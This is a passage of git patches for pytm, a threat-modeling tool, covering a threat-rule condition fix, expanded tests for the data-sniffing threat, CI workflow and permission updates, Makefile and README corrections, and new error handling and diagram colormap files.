     "details": "An adversary monitors data streams to or from the target for information gathering purposes. This attack may be undertaken to solely gather sensitive information or to support a further attack against the target. This attack pattern can involve sniffing network traffic as well as other types of data streams (e.g. radio). The adversary can attempt to initiate the establishment of a data stream, influence the nature of the data transmitted, or passively observe the communications as they unfold. In all variants of this attack, the adversary is not the intended recipient of the data stream. In contrast to other means of gathering information (e.g., targeting data leaks), the adversary must actively position himself so as to observe explicit data channels (e.g. network traffic) and read the content.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "not target.controls.isEncrypted or (target.source.inScope and not target.isResponse and (not target.controls.authenticatesDestination or not target.checksDestinationRevocation)) or target.tlsVersion < target.sink.minTLSVersion",
+    "condition": "not target.controls.isEncrypted or (target.source.inScope and not target.isResponse and (not target.controls.authenticatesDestination or not target.controls.checksDestinationRevocation)) or target.tlsVersion < target.sink.minTLSVersion",
     "prerequisites": "The target must transmit data over a medium that is accessible to the adversary.",
     "mitigations": "Leverage encryption to encode the transmission of data thus making it accessible only to authorized parties.",
     "example": "Adversary tries to block, manipulate, and steal communications in an attempt to achieve a desired negative technical impact.",
@@ -476,7 +476,7 @@
     "details": "An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "((not target.source.controls.providesIntegrity or not target.sink.controls.providesIntegrity) and not target.controls.isEncrypted) or (target.source.inScope and not target.isResponse and (not target.controls.authenticatesDestination or not target.checksDestinationRevocation))",
+    "condition": "((not target.source.controls.providesIntegrity or not target.sink.controls.providesIntegrity) and not target.controls.isEncrypted) or (target.source.inScope and not target.isResponse and (not target.controls.authenticatesDestination or not target.controls.checksDestinationRevocation))",
     "prerequisites": "The target must provide content but fail to adequately protect it against modification.The adversary must have the means to alter data to which he/she is not authorized.If the content is to be modified in transit, the adversary must be able to intercept the targeted messages.",
     "mitigations": "Validation of user input for type, length, data-range, format, etc. Encoding any user input that will be output by the web application.",
     "example": "An attacker finds a site which is vulnerable to HTML Injection. He sends a URL with malicious code injected in the URL to the user of the website(victim) via email or some other social networking site. User visits the page because the page is located within trusted domain. When the victim accesses the page, the injected HTML code is rendered and presented to the user asking for username and password. The username and password are both sent to the attacker's server.",
diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index f0f00981..ab1a8d49 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -580,13 +580,75 @@ def test_DS01(self):
         self.assertTrue(threat.apply(web))
 
     def test_DE01(self):
-        user = Actor("User")
-        web = Server("Web Server")
-        user_to_web = Dataflow(user, web, "User enters comments (*)")
-        user_to_web.protocol = "HTTP"
-        user_to_web.controls.isEncrypted = False
-        threat = threats["DE01"]
-        self.assertTrue(threat.apply(user_to_web))
+
+        with self.subTest("Default case"):
+            user = Actor("User")
+            web = Server("Web Server")
+            user_to_web = Dataflow(user, web, "User enters comments (*)")
+            user_to_web.protocol = "HTTP"
+            threat = threats["DE01"]
+            self.assertTrue(threat.apply(user_to_web))
+
+        with self.subTest("Success case"):
+            user = Actor("User")
+            web = Server("Web Server")
+            web.minTLSVersion = TLSVersion.TLSv12
+            user_to_web = Dataflow(user, web, "User enters comments (*)")
+            user_to_web.tlsVersion = TLSVersion.TLSv13
+            user_to_web.controls.isEncrypted = True
+            user_to_web.controls.authenticatesDestination = True
+            user_to_web.controls.checksDestinationRevocation = True
+            threat = threats["DE01"]
+            self.assertFalse(threat.apply(user_to_web))
+
+        with self.subTest("Dataflow TLS below minimum version"):
+            user = Actor("User")
+            web = Server("Web Server")
+            web.minTLSVersion = TLSVersion.TLSv12
+            user_to_web = Dataflow(user, web, "User enters comments (*)")
+            user_to_web.tlsVersion = TLSVersion.TLSv11
+            user_to_web.controls.isEncrypted = True
+            user_to_web.controls.authenticatesDestination = True
+            user_to_web.controls.checksDestinationRevocation = True
+            threat = threats["DE01"]
+            self.assertTrue(threat.apply(user_to_web))
+
+        with self.subTest("Dataflow doesn't authenticate destination"):
+            user = Actor("User")
+            web = Server("Web Server")
+            web.minTLSVersion = TLSVersion.TLSv12
+            user_to_web = Dataflow(user, web, "User enters comments (*)")
+            user_to_web.tlsVersion = TLSVersion.TLSv13
+            user_to_web.controls.isEncrypted = True
+            user_to_web.controls.authenticatesDestination = False
+            user_to_web.controls.checksDestinationRevocation = True
+            threat = threats["DE01"]
+            self.assertTrue(threat.apply(user_to_web))
+
+        with self.subTest("Dataflow doesn't check destination revocation"):
+            user = Actor("User")
+            web = Server("Web Server")
+            web.minTLSVersion = TLSVersion.TLSv12
+            user_to_web = Dataflow(user, web, "User enters comments (*)")
+            user_to_web.tlsVersion = TLSVersion.TLSv13
+            user_to_web.controls.isEncrypted = True
+            user_to_web.controls.authenticatesDestination = True
+            user_to_web.controls.checksDestinationRevocation = False
+            threat = threats["DE01"]
+            self.assertTrue(threat.apply(user_to_web))
+
+        with self.subTest("Dataflow is response"):
+            user = Actor("User")
+            web = Server("Web Server")
+            web.minTLSVersion = TLSVersion.TLSv12
+            user_to_web = Dataflow(user, web, "User enters comments (*)")
+            user_to_web.isResponse = True
+            user_to_web.tlsVersion = TLSVersion.TLSv13
+            user_to_web.controls.isEncrypted = True
+            user_to_web.controls.authenticatesDestination = False
+            user_to_web.controls.checksDestinationRevocation = False
+            threat = threats["DE01"]
+            self.assertFalse(threat.apply(user_to_web))
 
     def test_DE02(self):
         web = Server("Web Server")

From 6bb73e16b76dd6131c72f661d9a77b9109ddff15 Mon Sep 17 00:00:00 2001
From: snyk-bot <snyk-bot@snyk.io>
Date: Thu, 17 Nov 2022 04:00:41 +0000
Subject: [PATCH 67/86] fix: Dockerfile to reduce vulnerabilities

The following vulnerabilities are fixed with an upgrade:
- https://snyk.io/vuln/SNYK-ALPINE316-EXPAT-3062883
---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index aa3047c6..4e3261d5 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,5 +1,5 @@
 
-FROM python:3.11-rc-alpine
+FROM python:3.12-rc-alpine
 
 
 WORKDIR /usr/src/app

From b5474f4ef5dd092d0b305b665dd6f042fc8020de Mon Sep 17 00:00:00 2001
From: "codesee-maps[bot]"
 <86324825+codesee-maps[bot]@users.noreply.github.com>
Date: Mon, 5 Dec 2022 22:13:23 +0000
Subject: [PATCH 68/86] Install the CodeSee workflow. Learn more at
 https://docs.codesee.io

---
 .github/workflows/codesee-arch-diagram.yml | 77 +++-------------------
 1 file changed, 9 insertions(+), 68 deletions(-)

diff --git a/.github/workflows/codesee-arch-diagram.yml b/.github/workflows/codesee-arch-diagram.yml
index 5b4e5814..a2fbc75e 100644
--- a/.github/workflows/codesee-arch-diagram.yml
+++ b/.github/workflows/codesee-arch-diagram.yml
@@ -1,3 +1,5 @@
+# This workflow was added by CodeSee. Learn more at https://codesee.io/
+# This is v2.0 of this workflow file
 on:
   push:
     branches:
@@ -5,77 +7,16 @@ on:
   pull_request_target:
     types: [opened, synchronize, reopened]
 
-name: CodeSee Map
+name: CodeSee
+
+permissions: read-all
 
 jobs:
-  test_map_action:
+  codesee:
     runs-on: ubuntu-latest
     continue-on-error: true
-    name: Run CodeSee Map Analysis
+    name: Analyze the repo with CodeSee
     steps:
-      - name: checkout
-        id: checkout
-        uses: actions/checkout@v2
-        with:
-          repository: ${{ github.event.pull_request.head.repo.full_name }}
-          ref: ${{ github.event.pull_request.head.ref }}
-          fetch-depth: 0
-
-      # codesee-detect-languages has an output with id languages.
-      - name: Detect Languages
-        id: detect-languages
-        uses: Codesee-io/codesee-detect-languages-action@latest
-
-      - name: Configure JDK 16
-        uses: actions/setup-java@v2
-        if: ${{ fromJSON(steps.detect-languages.outputs.languages).java }}
-        with:
-          java-version: '16'
-          distribution: 'zulu'
-
-      # CodeSee Maps Go support uses a static binary so there's no setup step required.
-
-      - name: Configure Node.js 14
-        uses: actions/setup-node@v2
-        if: ${{ fromJSON(steps.detect-languages.outputs.languages).javascript }}
-        with:
-          node-version: '14'
-
-      - name: Configure Python 3.x
-        uses: actions/setup-python@v2
-        if: ${{ fromJSON(steps.detect-languages.outputs.languages).python }}
-        with:
-          python-version: '3.x'
-          architecture: 'x64'
-
-      - name: Configure Ruby '3.x'
-        uses: ruby/setup-ruby@v1
-        if: ${{ fromJSON(steps.detect-languages.outputs.languages).ruby }}
-        with:
-          ruby-version: '3.0'
-
-      # CodeSee Maps Rust support uses a static binary so there's no setup step required.
-
-      - name: Generate Map
-        id: generate-map
-        uses: Codesee-io/codesee-map-action@latest
-        with:
-          step: map
-          github_ref: ${{ github.ref }}
-          languages: ${{ steps.detect-languages.outputs.languages }}
-
-      - name: Upload Map
-        id: upload-map
-        uses: Codesee-io/codesee-map-action@latest
-        with:
-          step: mapUpload
-          api_token: ${{ secrets.CODESEE_ARCH_DIAG_API_TOKEN }}
-          github_ref: ${{ github.ref }}
-      
-      - name: Insights
-        id: insights
-        uses: Codesee-io/codesee-map-action@latest
+      - uses: Codesee-io/codesee-action@v2
         with:
-          step: insights
-          api_token: ${{ secrets.CODESEE_ARCH_DIAG_API_TOKEN }}
-          github_ref: ${{ github.ref }}
+          codesee-token: ${{ secrets.CODESEE_ARCH_DIAG_API_TOKEN }}

From e35c2e7408246341a830e96560e3adce06455f0a Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar@users.noreply.github.com>
Date: Tue, 24 Jan 2023 10:41:24 -0500
Subject: [PATCH 69/86] Create scorecard.yml

Adding OSSF Scorecard results.
---
 .github/workflows/scorecard.yml | 72 +++++++++++++++++++++++++++++++++
 1 file changed, 72 insertions(+)
 create mode 100644 .github/workflows/scorecard.yml

diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml
new file mode 100644
index 00000000..53ebb870
--- /dev/null
+++ b/.github/workflows/scorecard.yml
@@ -0,0 +1,72 @@
+# This workflow uses actions that are not certified by GitHub. They are provided
+# by a third-party and are governed by separate terms of service, privacy
+# policy, and support documentation.
+
+name: Scorecard supply-chain security
+on:
+  # For Branch-Protection check. Only the default branch is supported. See
+  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection
+  branch_protection_rule:
+  # To guarantee Maintained check is occasionally updated. See
+  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
+  schedule:
+    - cron: '18 20 * * 3'
+  push:
+    branches: [ "master" ]
+
+# Declare default permissions as read only.
+permissions: read-all
+
+jobs:
+  analysis:
+    name: Scorecard analysis
+    runs-on: ubuntu-latest
+    permissions:
+      # Needed to upload the results to code-scanning dashboard.
+      security-events: write
+      # Needed to publish results and get a badge (see publish_results below).
+      id-token: write
+      # Uncomment the permissions below if installing in a private repository.
+      # contents: read
+      # actions: read
+
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@93ea575cb5d8a053eaa0ac8fa3b40d7e05a33cc8 # v3.1.0
+        with:
+          persist-credentials: false
+
+      - name: "Run analysis"
+        uses: ossf/scorecard-action@99c53751e09b9529366343771cc321ec74e9bd3d # v2.0.6
+        with:
+          results_file: results.sarif
+          results_format: sarif
+          # (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
+          # - you want to enable the Branch-Protection check on a *public* repository, or
+          # - you are installing Scorecard on a *private* repository
+          # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action#authentication-with-pat.
+          # repo_token: ${{ secrets.SCORECARD_TOKEN }}
+
+          # Public repositories:
+          #   - Publish results to OpenSSF REST API for easy access by consumers
+          #   - Allows the repository to include the Scorecard badge.
+          #   - See https://github.com/ossf/scorecard-action#publishing-results.
+          # For private repositories:
+          #   - `publish_results` will always be set to `false`, regardless
+          #     of the value entered here.
+          publish_results: true
+
+      # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
+      # format to the repository Actions tab.
+      - name: "Upload artifact"
+        uses: actions/upload-artifact@3cea5372237819ed00197afe530f5a7ea3e805c8 # v3.1.0
+        with:
+          name: SARIF file
+          path: results.sarif
+          retention-days: 5
+
+      # Upload the results to GitHub's code scanning dashboard.
+      - name: "Upload to code-scanning"
+        uses: github/codeql-action/upload-sarif@807578363a7869ca324a79039e6db9c843e0e100 # v2.1.27
+        with:
+          sarif_file: results.sarif

From 3f34b17e6eec4000e5b73c8320e790920773fcca Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar@users.noreply.github.com>
Date: Tue, 24 Jan 2023 11:57:11 -0500
Subject: [PATCH 70/86] Limit permissions

---
 .github/workflows/main.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
index 683b5cc9..083ea625 100644
--- a/.github/workflows/main.yml
+++ b/.github/workflows/main.yml
@@ -10,6 +10,8 @@ on:
   pull_request:
     branches: [ master ]
 
+permissions:
+  contents: read
 # A workflow run is made up of one or more jobs that can run sequentially or in parallel
 jobs:
   # This workflow contains a single job called "build"

From 0b0d912b7c2349c92d9af526883c283141a6c5b2 Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar.tarandach@gmail.com>
Date: Tue, 24 Jan 2023 12:23:56 -0500
Subject: [PATCH 71/86] More Scorecard fixes.

---
 .github/workflows/codeql-analysis.yml | 9 +++++++++
 SECURITY.md                           | 4 ++++
 2 files changed, 13 insertions(+)
 create mode 100644 SECURITY.md

diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml
index ca40fa8b..58f54d6d 100644
--- a/.github/workflows/codeql-analysis.yml
+++ b/.github/workflows/codeql-analysis.yml
@@ -14,8 +14,15 @@ on:
   schedule:
     - cron: '0 15 * * 3'
 
+permissions:  # added using https://github.com/step-security/secure-workflows
+  contents: read
+
 jobs:
   analyze:
+    permissions:
+      actions: read  # for github/codeql-action/init to get workflow details
+      contents: read  # for actions/checkout to fetch code
+      security-events: write  # for github/codeql-action/autobuild to send a status report
     name: Analyze
     runs-on: ubuntu-latest
 
@@ -64,3 +71,5 @@ jobs:
 
     - name: Perform CodeQL Analysis
       uses: github/codeql-action/analyze@v1
+
+
diff --git a/SECURITY.md b/SECURITY.md
new file mode 100644
index 00000000..fb55b814
--- /dev/null
+++ b/SECURITY.md
@@ -0,0 +1,4 @@
+Reporting a Vulnerability
+Please report (suspected) security vulnerabilities as a project issue. You will receive a response from us within 48 hours. If the issue is confirmed, we will release a patch as soon as possible depending on complexity but historically within a few days.
+
+

From 13c22196014b8cb648730501c4ff7dff3cc7f62e Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar.tarandach@gmail.com>
Date: Tue, 24 Jan 2023 12:34:27 -0500
Subject: [PATCH 72/86] On with the times.

---
 .github/workflows/main.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
index 083ea625..00257ab3 100644
--- a/.github/workflows/main.yml
+++ b/.github/workflows/main.yml
@@ -21,7 +21,7 @@ jobs:
 
     strategy:
       matrix:
-        python-version: [3.6, 3.7, 3.8, 3.9]
+        python-version: [3.9, 3.10, 3.11, 3.12]
 
     # Steps represent a sequence of tasks that will be executed as part of the job
     steps:

From 0b7638b1194209342fc217c4cf35c0305dbbb829 Mon Sep 17 00:00:00 2001
From: izar <izar.tarandach@gmail.com>
Date: Sun, 4 Jun 2023 16:10:36 -0400
Subject: [PATCH 73/86] Bringing things up to snuff

---
 .github/workflows/main.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
index 683b5cc9..72f662c2 100644
--- a/.github/workflows/main.yml
+++ b/.github/workflows/main.yml
@@ -19,15 +19,15 @@ jobs:
 
     strategy:
       matrix:
-        python-version: [3.6, 3.7, 3.8, 3.9]
+        python-version: ["3.9", "3.10", "3.11"]
 
     # Steps represent a sequence of tasks that will be executed as part of the job
     steps:
     # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it
-    - uses: actions/checkout@v2
+    - uses: actions/checkout@v3
     # install newest pip
     - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v2
+      uses: actions/setup-python@v4
       with:
         python-version: ${{ matrix.python-version }}
     - name: Install pip

From df1d0b6693d75763b3ae21408eaf16a5ba79097e Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar.tarandach@gmail.com>
Date: Fri, 18 Aug 2023 10:54:58 -0400
Subject: [PATCH 74/86] Fixing issue 218

---
 Makefile  | 38 ++++++++++++++++++++++++--------------
 README.md |  4 +++-
 2 files changed, 27 insertions(+), 15 deletions(-)

diff --git a/Makefile b/Makefile
index 5e5afbcf..8deb8b48 100644
--- a/Makefile
+++ b/Makefile
@@ -10,10 +10,19 @@ ifndef PLANTUML_PATH
 	export PLANTUML_PATH = ./plantuml.jar
 endif
 
-models := tm.py
+MODEL?=tm
+
 libs := $(wildcard pytm/*.py) $(wildcard pytm/threatlib/*.json) $(wildcard pytm/images/*)
-all: clean
-all: $(models:.py=/report.html) $(models:.py=/dfd.png) $(models:.py=/seq.png) docs/pytm/index.html
+
+all: clean docs/pytm/index.html 
+	$(MAKE) $(MODEL)
+
+safe_filename:
+ifeq ($(suffix $(MODEL)), .py)
+	@echo "I think you mean MODEL=$(patsubst .py,,$(MODEL))"
+	exit 1
+endif
+
 
 docs/pytm/index.html: $(wildcard pytm/*.py)
 	PYTHONPATH=. pdoc --html --force --output-dir docs pytm
@@ -22,26 +31,27 @@ docs/threats.md: $(wildcard pytm/threatlib/*.json)
 	printf "# Threat database\n" > $@
 	jq -r ".[] | \"$$(cat docs/threats.jq)\"" $< >> $@
 
-clean:
-	rm -rf dist/* build/* $(models:.py=/*)
+clean: safe_filename
+	rm -rf dist/* build/* $(MODEL)
 
-tm:
-	mkdir -p tm
+$(MODEL): safe_filename
+	mkdir -p $(MODEL)
+	$(MAKE) MODEL=$(MODEL) report
 
-%/dfd.png: %.py tm $(libs)
+$(MODEL)/dfd.png: $(MODEL).py $(libs)
 	./$< --dfd | dot -Tpng -o $@
 
-%/seq.png: %.py tm $(libs)
+$(MODEL)/seq.png: $(MODEL).py $(libs)
 	./$< --seq | java -Djava.awt.headless=true -jar $$PLANTUML_PATH -tpng -pipe > $@
 
-%/report.html: %.py tm $(libs) docs/template.md docs/Stylesheet.css
-	./$< --report docs/template.md | pandoc -f markdown -t html > $@
+$(MODEL)/report.html: $(MODEL).py $(libs) docs/basic_template.md docs/Stylesheet.css
+	./$< --report docs/basic_template.md | pandoc -f markdown -t html > $@
 
-dfd: $(models:.py=/dfd.png)
+dfd: $(MODEL)/dfd.png
 
-seq: $(models:.py=/seq.png)
+seq: $(MODEL)/seq.png
 
-report: $(models:.py=/report.html) seq dfd
+report: $(MODEL)/report.html seq dfd
 
 .PHONY: test
 test:
diff --git a/README.md b/README.md
index 80e211df..f9b0e903 100644
--- a/README.md
+++ b/README.md
@@ -38,9 +38,11 @@ mkdir -p tm
 There's also an example `Makefile` that wraps all these into targets that can be easily shared for multiple models. If you have [GNU make](https://www.gnu.org/software/make/) installed (available by default on Linux distros but not on OSX), simply run:
 
 ```
-make
+make MODEL=the_name_of_your_model_minus_.py
 ```
 
+You should either have plantuml.jar on the same directory as your model, or set PLANTUML_PATH.
+
 To avoid installing all the dependencies, like `pandoc` or `Java`, the script can be run inside a container:
 
 ```

From 55c1953c0f109529965f0482a4518ddd26552cdc Mon Sep 17 00:00:00 2001
From: Raphael Ahrens <raphaelahrens@googlemail.com>
Date: Sat, 28 Oct 2023 22:14:44 +0200
Subject: [PATCH 75/86] Corrected the Overide example

The example of the override feature has not been kept up to date and it include an error when setting the CVSS.
---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index f9b0e903..a7383456 100644
--- a/README.md
+++ b/README.md
@@ -279,8 +279,8 @@ user_to_web = Dataflow(user, web, "User enters comments (*)", protocol="HTTP", d
 user_to_web.overrides = [
     Finding(
         # Overflow Buffers
-        id="INP02",
-        CVSS="9.3",
+        threat_id="INP02",
+        cvss="9.3",
         response="""**To Mitigate**: run a memory sanitizer to validate the binary""",
     )
 ]

From 0724a471b1e18d8ca60b49282b1f5fe4f29fb915 Mon Sep 17 00:00:00 2001
From: Raphael Ahrens <raphaelahrens@googlemail.com>
Date: Mon, 6 Nov 2023 15:09:46 +0100
Subject: [PATCH 76/86] Added Error handling for User errors

Some issues where raised where the users made an error when
executing pytm on the shell.

It seems that the issue is that pytm is not returning a custom error but
just a Python trace.

This commit add the UIError, which will be handled inside the process
function.

UIError is a warpper arround another exception and adds a context
description.

This commit only adds UIError for open calls in pytm, since these are
obvious pitfalls for users.
---
 pytm/pytm.py               | 39 ++++++++++++++++++++++++++++++++------
 tests/test_private_func.py |  5 +++--
 2 files changed, 36 insertions(+), 8 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 0de9a103..e6e005fe 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -34,6 +34,12 @@
 """
 
 
+class UIError(Exception):
+    def __init__(self, e, context):
+        self.error = e
+        self.context = context
+
+
 logger = logging.getLogger(__name__)
 
 
@@ -777,8 +783,11 @@ def _init_threats(self):
         self._add_threats()
 
     def _add_threats(self):
-        with open(self.threatsFile, "r", encoding="utf8") as threat_file:
-            threats_json = json.load(threat_file)
+        try:
+            with open(self.threatsFile, "r", encoding="utf8") as threat_file:
+                threats_json = json.load(threat_file)
+        except (FileNotFoundError, PermissionError, IsADirectoryError) as e:
+            raise UIError(e, f"while trying to open the the threat file ({self.threatsFile}).")
 
         for i in threats_json:
             TM._threats.append(Threat(**i))
@@ -1000,8 +1009,11 @@ def seq(self):
         )
 
     def report(self, template_path):
-        with open(template_path) as file:
-            template = file.read()
+        try:
+            with open(template_path) as file:
+                template = file.read()
+        except (FileNotFoundError, PermissionError, IsADirectoryError) as e:
+            raise UIError(e, f"while trying to open the report template file ({template_path}).")
 
         threats = encode_threat_data(TM._threats)
         findings = encode_threat_data(self.findings)
@@ -1027,6 +1039,18 @@ def report(self, template_path):
         return self._sf.format(template, **data)
 
     def process(self):
+        try:
+            self._process()
+        except UIError as e:
+            erromsg = f"""Failed to excecute
+    {e.context}
+    {e.error}
+"""
+            sys.stderr.write(erromsg)
+            sys.exit(127)
+
+
+    def _process(self):
         self.check()
         result = get_args()
         logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s")
@@ -1055,8 +1079,11 @@ def process(self):
             self.sqlDump(result.sqldump)
 
         if result.json:
-            with open(result.json, "w", encoding="utf8") as f:
-                json.dump(self, f, default=to_serializable)
+            try:
+                with open(result.json, "w", encoding="utf8") as f:
+                    json.dump(self, f, default=to_serializable)
+            except (FileExistsError, PermissionError, IsADirectoryError) as e:
+                raise UIError(e, f"while trying to write to the result file ({result.json})")
 
         if result.report is not None:
             print(self.report(result.report))
diff --git a/tests/test_private_func.py b/tests/test_private_func.py
index c21389a4..21c6e2cf 100644
--- a/tests/test_private_func.py
+++ b/tests/test_private_func.py
@@ -12,6 +12,7 @@
     Process,
     Server,
     Threat,
+    UIError,
 )
 
 
@@ -46,10 +47,10 @@ def test_kwargs(self):
     def test_load_threats(self):
         tm = TM("TM")
         self.assertNotEqual(len(TM._threats), 0)
-        with self.assertRaises(FileNotFoundError):
+        with self.assertRaises(UIError):
             tm.threatsFile = "threats.json"
 
-        with self.assertRaises(FileNotFoundError):
+        with self.assertRaises(UIError):
             TM("TM", threatsFile="threats.json")
 
     def test_responses(self):

From 9439642525d49fa7a544f2559061df75db4acbf2 Mon Sep 17 00:00:00 2001
From: Dimitrios Glynos <dimitris@census-labs.com>
Date: Wed, 29 Nov 2023 14:12:47 +0200
Subject: [PATCH 77/86] this fixes 'make MODEL=bla' which is currently broken
 in master

---
 Makefile | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/Makefile b/Makefile
index 8deb8b48..62f07c6e 100644
--- a/Makefile
+++ b/Makefile
@@ -14,8 +14,7 @@ MODEL?=tm
 
 libs := $(wildcard pytm/*.py) $(wildcard pytm/threatlib/*.json) $(wildcard pytm/images/*)
 
-all: clean docs/pytm/index.html 
-	$(MAKE) $(MODEL)
+all: clean docs/pytm/index.html $(MODEL)
 
 safe_filename:
 ifeq ($(suffix $(MODEL)), .py)

From d1a1ca57dc5715f5d912f4b7d808e28349ac5799 Mon Sep 17 00:00:00 2001
From: 0$4M4 <oussama.louhaidia@gmail.com>
Date: Mon, 11 Dec 2023 19:20:38 +0000
Subject: [PATCH 78/86] README : updated the #creating-a-threat-model with an
 example of a Data Object

---
 README.md | 31 ++++++++++++++++++++++++++-----
 1 file changed, 26 insertions(+), 5 deletions(-)

diff --git a/README.md b/README.md
index a7383456..9541bfc7 100644
--- a/README.md
+++ b/README.md
@@ -148,6 +148,30 @@ db.isSql = True
 db.inScope = False
 db.sourceCode = "model/schema.sql"
 
+comments = Data(
+    name="Comments", 
+    description="Comments in HTML or Markdown",  
+    classification=Classification.PUBLIC,  
+    isPII=FALSE,
+    isCredentials=FALSE,  
+    # credentialsLife=Lifetime.LONG,  
+    isStored=True, 
+    isSourceEncryptedAtRest=False, 
+    isDestEncryptedAtRest=True 
+)
+
+results = Data(
+    name="results", 
+    description="Results of insert op",  
+    classification=Classification.SENSITIVE,  
+    isPII=FALSE, 
+    isCredentials=FALSE,  
+    # credentialsLife=Lifetime.LONG,  
+    isStored=True, 
+    isSourceEncryptedAtRest=False, 
+    isDestEncryptedAtRest=True 
+)
+
 my_lambda = Lambda("cleanDBevery6hours")
 my_lambda.hasAccessControl = True
 my_lambda.inBoundary = Web_DB
@@ -159,7 +183,7 @@ my_lambda_to_db.dstPort = 3306
 user_to_web = Dataflow(user, web, "User enters comments (*)")
 user_to_web.protocol = "HTTP"
 user_to_web.dstPort = 80
-user_to_web.data = Data('Comments in HTML or Markdown', classification=Classification.PUBLIC)
+user_to_web.data = comments
 
 web_to_user = Dataflow(web, user, "Comments saved (*)")
 web_to_user.protocol = "HTTP"
@@ -170,10 +194,7 @@ web_to_db.dstPort = 3306
 
 db_to_web = Dataflow(db, web, "Comments contents")
 db_to_web.protocol = "MySQL"
-# this is a BAD way of defining a data object, here for a demo on how it
-# will appear on the sample report. Use Data objects.
-db_to_web.data = 'Results of insert op'
-
+db_to_web.data = results
 
 tm.process()
 

From 6000e5ae1b19a3c3d3c1dbd9400bb896c89fce27 Mon Sep 17 00:00:00 2001
From: 0$4M4 <oussama.louhaidia@gmail.com>
Date: Wed, 13 Dec 2023 11:18:12 +0000
Subject: [PATCH 79/86] README: False instead of FALSE.. FALSE breaks it.

---
 README.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md
index 9541bfc7..4e8dc62d 100644
--- a/README.md
+++ b/README.md
@@ -152,8 +152,8 @@ comments = Data(
     name="Comments", 
     description="Comments in HTML or Markdown",  
     classification=Classification.PUBLIC,  
-    isPII=FALSE,
-    isCredentials=FALSE,  
+    isPII=False,
+    isCredentials=False,  
     # credentialsLife=Lifetime.LONG,  
     isStored=True, 
     isSourceEncryptedAtRest=False, 
@@ -164,8 +164,8 @@ results = Data(
     name="results", 
     description="Results of insert op",  
     classification=Classification.SENSITIVE,  
-    isPII=FALSE, 
-    isCredentials=FALSE,  
+    isPII=False, 
+    isCredentials=False,  
     # credentialsLife=Lifetime.LONG,  
     isStored=True, 
     isSourceEncryptedAtRest=False, 

From 8e2a230ec2fc341842be2931341419c279510b18 Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar.tarandach@gmail.com>
Date: Mon, 18 Dec 2023 12:59:04 -0500
Subject: [PATCH 80/86] Added colormap functionality to dfd.

---
 colormap.dot                         | 134 +++++++++++++++++++++++++++
 no_colormap.dot                      | 134 +++++++++++++++++++++++++++
 pytm/images/datastore_black.png      | Bin 0 -> 13242 bytes
 pytm/images/datastore_darkgreen.png  | Bin 0 -> 3805 bytes
 pytm/images/datastore_firebrick3.png | Bin 0 -> 3806 bytes
 pytm/images/datastore_gold.png       | Bin 0 -> 3797 bytes
 6 files changed, 268 insertions(+)
 create mode 100644 colormap.dot
 create mode 100644 no_colormap.dot
 create mode 100644 pytm/images/datastore_black.png
 create mode 100644 pytm/images/datastore_darkgreen.png
 create mode 100644 pytm/images/datastore_firebrick3.png
 create mode 100644 pytm/images/datastore_gold.png

diff --git a/colormap.dot b/colormap.dot
new file mode 100644
index 00000000..0a220eef
--- /dev/null
+++ b/colormap.dot
@@ -0,0 +1,134 @@
+digraph tm {
+    graph [
+        fontname = Arial;
+        fontsize = 14;
+    ]
+    node [
+        fontname = Arial;
+        fontsize = 14;
+        rankdir = lr;
+    ]
+    edge [
+        shape = none;
+        arrowtail = onormal;
+        fontname = Arial;
+        fontsize = 12;
+    ]
+    labelloc = "t";
+    fontsize = 20;
+    nodesep = 1;
+
+    subgraph cluster_boundary_AWSVPC_579e9aae81 {
+        graph [
+            fontsize = 10;
+            fontcolor = black;
+            style = dashed;
+            color = black;
+            label = <<i>AWS VPC</i>>;
+        ]
+
+        lambda_AWSLambda_0291419f72 [
+            shape = rectangle; style=rounded;
+
+            color = gold;
+            fontcolor = gold;
+            label = <
+                <table border="0" cellborder="0" cellpadding="2">
+                    <tr><td><b>AWS Lambda</b></td></tr>
